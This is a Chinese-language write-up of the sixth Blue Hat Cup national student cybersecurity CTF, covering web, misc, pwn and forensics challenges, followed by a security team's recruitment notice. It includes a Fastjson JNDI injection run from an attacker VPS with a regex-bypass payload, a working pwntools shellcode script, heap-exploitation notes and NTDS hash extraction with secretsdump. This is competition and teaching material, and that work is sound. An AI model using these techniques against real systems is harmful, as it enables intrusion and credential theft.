第六届”蓝帽杯“全国大学生网络安全技能大赛WriteUp
第六屆”藍帽杯“全國大學生網絡安全技能大賽WriteUp
- Web
- Ez_gadget
- Misc
- domainhacker
- domainhacker2
- Pwn
- EscapeShellcode
- Bank
- 網站取證
- 網站取證_1
- 網站取證_2
- 網站取證_3
- 網站取證_4
- 程序分析
- 程序分析_1
- 程序分析_2
- 程序分析_3
- 程序分析_4
- 手機取證
- 手機取證_1
- 手機取證_2
- 計算機取證
- 計算機取證_1
- 計算機取證_2
- 計算機取證_3
- 計算機取證_4
- Tip
Web
Ez_gadget
源碼看到了fastjson 但是有個hash要繞過去
參考
https://goodapple.top/archives/964
然后我們去運算下得到kQNH2XQ6eudIQEFB
代碼上面有正則String pattern = “.rmi.|.jndi.|.ldap.|.\x.”;
https://github.com/safe6Sec/Fastjson
我們將payload進行unicode編碼然后
java -jar JNDIExploit.jar -i vpsip
payload編碼后發過去
用date命令讀取flag就行了
flag{ed41ca96-de27-4da7-8513-f3343c67c9bc}
Misc
domainhacker
流量中發現一個rar包和多個base加密代碼
解開壓縮包即可
domainhacker2
解壓發現一個流量包和一個ntds.rar文件,rar帶密碼。跟misc1思路一樣,查找ntds文件,發現壓縮過程。
解密
得到密碼:FakePassword123$,解壓得到一個ntds.list,查看相關資料發現需要用到secretsdump.py,網上下載,然后解密得到hash值,說是history的,加個參數就好,命令。
flag{07ab403ab740c1540c378b0f5aaa4087}
Pwn
EscapeShellcode
利用write后rcx保存的地址可以快速定位shellcode保存地址,并且獲得大概的flag保存范圍,因為shllcode保存地址和flag保存地址就差28位,利用and獲得其高位保存在rsi 作為基地址,后28位需要爆破,r15存儲偏移,每次打印0x1000個字符,打印后跳轉到$-0x19也就是mov rax,1處,然后繼續從基地址+0x1000開始打印0x1000個字符,如此循環即可。
from pwn import* context(arch='amd64',os='linux') sh=process('./escape_shellcode') #sh=remote("39.106.156.74",23470) #start=0 start=0x500000000000 #addr=0x5633c143f000 code='''mov rdi,1mov rsi,{}mov r12,0xfffff0000000mov r15,0x1000#r15儲存偏移mov rdx,0x1000#打印長度設置為0x1000mov rax,1syscall#write(rdi,rsi,rdx)mov rsi,rcx#write執行后rcx 儲存著shllcode的相關地址and rsi,r12#丟棄后28位add rsi,r15#rsi=rsi+偏移地址add r15,0x1000#偏移遞增0x1000jmp $-0x19#循環 跳轉到mov rax,1 '''.format(start) payload=asm(code) #gdb.attach(sh) #pause() sh.sendline(payload) sh.recvuntil("flag{") flag=b'flag{'+sh.recvuntil("}") print(flag)Bank
Deposit功能, 如果存的正好等于cahs, 那么cash不會減少, 就可以刷錢
Trasnfer功能
admin至少給0x1F, 可以越界讀堆: malloc_0x18[num]
hacker至少給0x33, 可以任意地址free
guest: malloc(0x10) 并讀入0x10數據
ghost: realloc(ptr, sz), 0<sz<=0x100
abyss: *malloc_0x18=Read_ul() 并且exit(0)
思路:
free原語: realloc()先變大再變小, 就可以釋放原來挺ptr指向的chunk
由于不知道libc地址, 先假設就是2.27, free chunk后進入tcache, 讀出key字段就可獲取tcache的地址, 打遠程發現確實如此. 從而獲取堆地址heap_addr
有了后續通過任意地址free嘗試釋放malloc_0x18的chunk, 結果發現heap_addr+0x2a0才能正確釋放到, 因此libc至少是2.31
后續要通過堆噴射偽造一個UB chunk, 然后利用任意地址free釋放到UB中, 然后再越界讀出來, 從而獲取libc地址
abyss有個任意寫+exit(0), 顯然就是劫持劫持rtld_global中的函數指針, 觸發OGG
但是rtld_gloabl位于ld中, ld與libc的偏移與系統內核有關系, 我在20.04下嘗試了結果失敗了, 不過反正有越界讀, 可以嘗試越界讀爆破一下libc_addr到rtld_global+3848的偏移, 不行
既然后任意讀和libc的地址, 能不能通過libc獲取ld的地址? 反正_rtld_global與ld的偏移固定, 手法類似于balsn_ctf_2019_SecPwn:
libc與ld的偏移不穩定, 使用固定偏移可能會出錯. 實際上libc中也有直接的rtld_global, 里面第一個映射記錄的就是ld地址, 因此接觸rtld_global可以由libc地址得到ld地址。
但是打遠程還是失敗了, 懷疑是OGG的問題, 首先嘗試執行libc.so.6的start(), 判斷OGG是否能被執行, 還是不行, 后續我用perror做測試, 發現stderr是可以正常輸出的, GG也是可以執行的。
后面一直跑一段時間
網站取證
網站取證_1
通過D盾掃描找到后門
網站取證_2
找到加密文件,然后發現是aes算法直接解密得數據庫密碼
網站取證_3
比較數據給的數據庫和查看代碼得到
網站取證_4
將數據庫導入到本地數據庫,然后將2022-04-02 00:00:00-2022-04-18 23:59:59的張寶和王子豪的記錄取出來,還有匯率取出來放著。
匯率
0.04,0.06,0.05,0.07,0.10,0.15,0.17,0.23,0.22,0.25,0.29,0.20,0.28,0.33,0.35,0.35,0.37
核心代碼在這兒,
用匯率把錢數計算出來就行
腳本最后算出來的是總金額取小數后2位就行。
程序分析
程序分析_1
雷電App智能分析軟件中的基本信息里,就有應用包名。
程序分析_2
雷電App智能分析軟件中有個主活動以及主函數名,就是程序入口。
程序分析_3
雷電App智能分析中有個工具箱,用Jadx工具打開分析,在主入口中找到了一串base64的加密字符串,就是程序服務器地址的密文。
程序分析_4
入口處發現
這個模塊
然后往下調發現
此處用了a這個類,然后試著提交答案就對了。
手機取證
手機取證_1
手機取證_2
計算機取證
計算機取證_1
解密為:anxinqi
計算機取證_2
計算機取證_3
提取恢復密鑰
用取證大師解開
用給的字典去解密
打開即可
計算機取證_4
通過上題發現一個容器,
通過題目提示從內存導出密鑰
解開容器發現一個壓縮包
然后爆破壓縮包密碼即可
Tip
你是否想要加入一個安全團
擁有更好的學習氛圍?
那就加入EDI安全,這里門檻不是很高,但師傅們經驗豐富,可以帶著你一起從基礎開始,只要你有持之以恒努力的決心
EDI安全的CTF戰隊經常參與各大CTF比賽,了解CTF賽事,我們在為打造安全圈好的技術氛圍而努力,這里絕對是你學習技術的好地方。這里門檻不是很高,但師傅們經驗豐富,可以帶著你一起從基礎開始,只要你有持之以恒努力的決心,下一個CTF大牛就是你。
歡迎各位大佬小白入駐,大家一起打CTF,一起進步。
我們在挖掘,不讓你埋沒!
你的加入可以給我們帶來新的活力,我們同樣也可以贈你無限的發展空間。
有意向的師傅請聯系郵箱root@edisec.net、shiyi@edisec.net(帶上自己的簡歷,簡歷內容包括自己的學習方向,學習經歷等)
總結
以上是生活随笔為你收集整理的第六届”蓝帽杯“全国大学生网络安全技能大赛WriteUp的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Linux系统工具sar查看主机性能指标
- 下一篇: 利用shell脚本解决区块链Fabric